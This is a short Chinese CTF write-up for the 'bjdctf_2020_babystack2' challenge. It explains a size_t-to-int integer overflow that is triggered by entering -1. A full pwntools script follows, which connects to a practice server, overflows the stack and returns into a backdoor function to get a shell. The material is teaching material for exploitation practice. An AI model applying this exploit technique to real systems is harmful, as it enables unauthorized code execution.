bjdctf_2020_babystack2
64位,开启NX保护。
运行一下。
用IDA打开。找到了后门函数。backdoor=0x400726
查看main函数
读入数据的大小由我们输入的参数nbytes控制
nbytes参数的类型 是 size_t,它是一个无符号整型。
但是第7行又将它转换成了有符号的整型,存在整数溢出漏洞(即无符号的数转换成有符号的整型后超过了有符号的整型能表示的范围,从而造成溢出,常用-1来造成溢出)
from pwn import *
r=remote('node3.buuoj.cn',29186)
backdoor=0x400726
r.recv()
r.sendline('-1')
r.recv()
payload='a'*(0x10+8)+p64(backdoor)
r.sendline(payload)
r.interactive()